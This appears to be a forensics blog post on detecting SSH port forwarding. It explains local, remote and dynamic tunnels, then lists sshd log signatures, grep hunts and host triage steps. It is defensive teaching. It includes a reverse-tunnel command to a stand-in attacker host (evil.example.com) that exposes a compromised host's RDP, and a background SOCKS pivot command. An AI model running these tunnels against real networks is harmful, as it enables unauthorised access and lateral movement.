SSH is one of the most trusted protocols in the tech industry for remote connections. Which is exactly why attackers love it. Beyond remote shells, ssh ships with a built-in tunneling capability called port forwarding that can pivot traffic through a compromised host, expose an internal service to the internet, or push a reverse tunnel. From a DFIR perspective, the good news is that these tunnels almost always leave a trail.
This post is a practitioner's guide to the three forwarding modes explained, followed by the host-side artifacts and log sources to view when an SSH tunnel is suspected.
The Three Flavors of SSH Port Forwarding
All three modes create a TCP channel inside an already-authenticated SSH session. The encryption hides the payload from the wire, but the ssh events still surface in sshd logs and on disk.
1. Local Forwarding (-L) - "Bring it to me"
The client opens a listener on its own machine and forwards any traffic that hits it through the SSH session to a destination reachable from the server.
ssh -L 127.0.0.1:8000:10.0.0.25:3306 user@bastion.corp.localAnyone who connects to localhost:8000 on the client reaches the internal MySQL server at 10.0.0.25:3306 via the bastion. Classic use case: reaching a database that was never supposed to be internet-exposed.
2. Remote Forwarding (-R) - "Punch a hole back to me"
The server opens the listener and forwards inbound traffic back through the tunnel to the client. This is the reverse-shell-friendly variant that bypasses egress-only firewalls.
ssh -R 0.0.0.0:4444:127.0.0.1:3389 user@evil.example.comThe attacker's VPS now listens on 4444; anything that hits it is funneled back to RDP on the compromised host. Note: binding beyond loopback requires GatewayPorts yes in sshd_config on the remote side - itself a red flag if you see it enabled.
3. Dynamic Forwarding (-D) - "Give me a SOCKS proxy"
Instead of a single forwarded port, -D turns the SSH session into a SOCKS proxy. An attacker points proxychains or a browser at it and reaches anything the SSH server can reach.
ssh -D 127.0.0.1:1080 -N -f user@bastion.corp.localThe -N flag suppresses command execution and -f backgrounds the session - a common "set it and forget it" pivot pattern worth fingerprinting.
Log Artifact Hunting
OpenSSH's sshd does not log port forwards by default at INFO level. To catch them, you need LogLevel VERBOSE (or higher) in /etc/ssh/sshd_config. Confirm this early in an investigation - its absence is itself a finding.
With verbose logging, the following lines appear in /var/log/auth.log (Debian/Ubuntu) or /var/log/secure (RHEL/Amazon Linux). On systemd hosts, query them directly:
journalctl -u ssh --since "24 hours ago" | grep -E "channel|forwarding|direct-tcpip"| Log signature | What it means |
|---|---|
server_request_direct_tcpip: originator ... to host ... port ... | Local or dynamic forward - the client asked the server to open an outbound channel. |
server_input_global_request: rtype tcpip-forward | Remote forward - the client asked the server to bind a listener. |
server_request_session: channel N followed by repeated channel N: new | Multiple channels on one session - a strong tell for SOCKS-style -D usage. |
Accepted publickey for ... from ... port ... followed by no interactive command | Authenticated-but-silent session - common with -N -f. |
In a SIEM, a simple starting hunt is any sshd event containing direct-tcpip or tcpip-forward. Pair that with the authenticating user and source IP, and you have a high-signal alert with low base-rate noise in most environments.
Host-Based Forensic Artifacts
Even if logs were never captured, forwarded SSH sessions leave fingerprints on disk and in memory. Prioritize these during triage:
Process arguments
The forwarding flags are passed on the command line and are visible in /proc/<pid>/cmdline, ps auxf, or an EDR process tree. Any ssh invocation with -L, -R, -D, or -N -f deserves a second look. In live response:
ps -eo pid,user,cmd | grep -E "ssh .*-[LRD]"
ls -la /proc/*/exe 2>/dev/null | grep sshNetwork state
Listening sockets opened by forwards show up in ss -tnlp (or netstat -tnlp) bound to the expected local ports. Capture this output early - once the session dies, the listener disappears.
User shell history and SSH config
The shell history is often the single highest-yield artifact.
Collect and grep for the ssh with the bad stuff:
grep -E "ssh .*-[LRD]|autossh|ProxyCommand" \
/home/*/.bash_history /root/.bash_history /home/*/.zsh_history 2>/dev/nullAuthorized keys and persistence
Attackers frequently pair tunnels with their own key in ~/.ssh/authorized_keys. Diff the file's mtime against known admin activity and validate every key's fingerprint against a trusted inventory.
A Short Triage Checklist
- Confirm
LogLevelinsshd_config; if notVERBOSE, note the gap. - Pull
auth.log/secureand grep fordirect-tcpipandtcpip-forward. - Snapshot
ps,ss -tnlp, and/proc/*/cmdlinebefore the session closes. - Collect shell histories,
~/.ssh/config, andauthorized_keysfor every human and service account. - Correlate the suspect SSH session time windows
Closing Thoughts
SSH port forwarding is a legitimate tool that becomes an offensive capability the moment an attacker gets a valid credential. For the defender, the win is not blocking SSH - it is ensuring the tunnels are loud enough to hear. Turn up LogLevel, restrict AllowTcpForwarding where it is not needed, and build detections around the signals.
No comments:
Post a Comment